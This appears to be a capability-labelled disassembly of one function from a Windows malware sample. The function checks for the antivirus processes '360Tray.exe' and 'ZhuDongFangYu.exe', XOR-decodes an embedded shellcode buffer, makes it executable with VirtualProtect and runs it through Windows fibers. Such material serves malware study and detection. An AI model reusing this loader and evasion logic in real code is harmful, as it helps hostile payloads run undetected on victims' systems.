Function at 0x140001b40
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Execute shellcode via windows fibers

Disassembly:
sub rsp, 0x828
mov rax, qword [0x140047f48]
xor rax, rsp
mov qword [rsp + 0x810], rax
call fcn.140001860
mov dword [rsp + 0x44], eax
mov eax, dword [rsp + 0x44]
add eax, 0x61
mov dword [rsp + 0x4c], eax
mov edx, 0x18
lea rcx, [rsp + 0x428]
call fcn.1400097a0
lea rcx, [rsp + 0x428]
call fcn.140001890
mov byte [rsp + 0x440], 0x33
mov byte [rsp + 0x441], 0x36
mov byte [rsp + 0x442], 0x30
mov byte [rsp + 0x443], 0x54
mov byte [rsp + 0x444], 0x72
mov byte [rsp + 0x445], 0x61
mov byte [rsp + 0x446], 0x79
mov byte [rsp + 0x447], 0x2e
mov byte [rsp + 0x448], 0x65
mov byte [rsp + 0x449], 0x78
mov byte [rsp + 0x44a], 0x65
mov byte [rsp + 0x44b], 0
mov byte [rsp + 0x450], 0x5a
mov byte [rsp + 0x451], 0x68
mov byte [rsp + 0x452], 0x75
mov byte [rsp + 0x453], 0x44
mov byte [rsp + 0x454], 0x6f
mov byte [rsp + 0x455], 0x6e
mov byte [rsp + 0x456], 0x67
mov byte [rsp + 0x457], 0x46
mov byte [rsp + 0x458], 0x61
mov byte [rsp + 0x459], 0x6e
mov byte [rsp + 0x45a], 0x67
mov byte [rsp + 0x45b], 0x59
mov byte [rsp + 0x45c], 0x75
mov byte [rsp + 0x45d], 0x2e
mov byte [rsp + 0x45e], 0x65
mov byte [rsp + 0x45f], 0x78
mov byte [rsp + 0x460], 0x65
mov byte [rsp + 0x461], 0
lea rcx, [rsp + 0x440]
call fcn.140001740
test eax, eax
je 0x140001c94
mov byte [rsp + 0x20], 1
jmp 0x140001c99
mov byte [rsp + 0x20], 0
movzx eax, byte [rsp + 0x20]
mov byte [rsp + 0x2c], al
lea rcx, [rsp + 0x450]
call fcn.140001740
test eax, eax
je 0x140001cba
mov byte [rsp + 0x21], 1
jmp 0x140001cbf
mov byte [rsp + 0x21], 0
movzx eax, byte [rsp + 0x21]
mov byte [rsp + 0x2d], al
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x24], 0
jmp 0x140001ce4
mov eax, dword [rsp + 0x24]
inc eax
mov dword [rsp + 0x24], eax
movsxd rax, dword [rsp + 0x24]
cmp rax, 0xe78
jae 0x140001d2c
mov eax, dword [rsp + 0x24]
cdq
and edx, 3
add eax, edx
and eax, 3
sub eax, edx
test eax, eax
jne 0x140001d2a
movsxd rax, dword [rsp + 0x24]
lea rcx, [0x140047050]
movsxd rdx, dword [rsp + 0x30]
movzx eax, byte [rcx + rax]
mov byte [rsp + rdx + 0x80], al
mov eax, dword [rsp + 0x30]
inc eax
mov dword [rsp + 0x30], eax
jmp 0x140001cda
mov dword [rsp + 0x3c], 0x14
mov ecx, 0x4c9
call fcn.140004430
movsd xmm1, qword [0x140030b00]
subsd xmm1, xmm0
movaps xmm0, xmm1
addsd xmm0, qword [0x140030ac0]
cvttsd2si eax, xmm0
mov dword [rsp + 0x38], eax
mov dword [rsp + 0x34], 2
cvtsi2sd xmm0, dword [rsp + 0x34]
cvtsi2sd xmm1, dword [rsp + 0x38]
divsd xmm1, qword [0x140030ae8]
addsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x48], eax
cvtsi2sd xmm0, dword [rsp + 0x3c]
divsd xmm0, qword [0x140030ac8]
subsd xmm0, qword [0x140030ae0]
cvttsd2si eax, xmm0
mov dword [rsp + 0x40], eax
cvtsi2sd xmm0, dword [rsp + 0x40]
movsd qword [rsp + 0x70], xmm0
mov ecx, 0x24
call fcn.140004430
mulsd xmm0, qword [0x140030ae8]
movsd xmm1, qword [rsp + 0x70]
subsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x68], eax
mov eax, dword [rsp + 0x38]
mov ecx, dword [rsp + 0x48]
sub ecx, eax
mov eax, ecx
cvtsi2sd xmm0, eax
addsd xmm0, qword [0x140030ad8]
cvttsd2si eax, xmm0
mov dword [rsp + 0x58], eax
mov eax, dword [rsp + 0x3c]
cdq
idiv dword [rsp + 0x34]
cvtsi2sd xmm0, eax
subsd xmm0, qword [0x140030ad0]
cvttsd2si eax, xmm0
mov dword [rsp + 0x54], eax
mov dword [rsp + 0x50], 0x4b
cmp dword [0x14004907c], 2
jbe 0x140001e93
lea rcx, [rsp + 0x428]
call fcn.14000b210
movzx eax, al
test eax, eax
jne 0x140001e93
cmp dword [rsp + 0x4c], 0x61
jne 0x140001e93
mov dword [rsp + 0x28], 0
jmp 0x140001e53
mov eax, dword [rsp + 0x28]
inc eax
mov dword [rsp + 0x28], eax
movsxd rax, dword [rsp + 0x28]
cmp rax, 0x39d
jae 0x140001e93
movsxd rax, dword [rsp + 0x28]
movzx eax, byte [rsp + rax + 0x80]
xor eax, dword [rsp + 0x50]
xor eax, dword [rsp + 0x54]
xor eax, dword [rsp + 0x40]
xor eax, dword [rsp + 0x58]
xor eax, dword [rsp + 0x34]
xor eax, dword [rsp + 0x38]
movsxd rcx, dword [rsp + 0x28]
mov byte [rsp + rcx + 0x470], al
jmp 0x140001e49
lea rcx, [rsp + 0x470]
call fcn.140014690
xor edx, edx
mov ecx, 2
div rcx
mov dword [rsp + 0x6c], eax
lea r9, [0x140049080]
lea r8, [0x1400015d0]
lea rdx, str.VirtualAlloc
lea rcx, str.kernel32.dll
call fcn.14000c930
lea r9, [0x140049088]
lea r8, [0x1400016d0]
lea rdx, str.GetCommandLineA
lea rcx, str.kernel32.dll
call fcn.14000c930
lea r9, [rsp + 0x420]
mov r8d, 0x40
mov edx, 0x39e
lea rcx, [rsp + 0x470]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ConvertThreadToFiber]
xor r8d, r8d
lea rdx, [rsp + 0x470]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiber]
mov qword [rsp + 0x60], rax
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_SwitchToFiber]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_DeleteFiber]
mov dword [rsp + 0x5c], 1
lea rcx, [rsp + 0x428]
call fcn.140005a00
mov eax, dword [rsp + 0x5c]
mov rcx, qword [rsp + 0x810]
xor rcx, rsp
call fcn.14000fe10
add rsp, 0x828
ret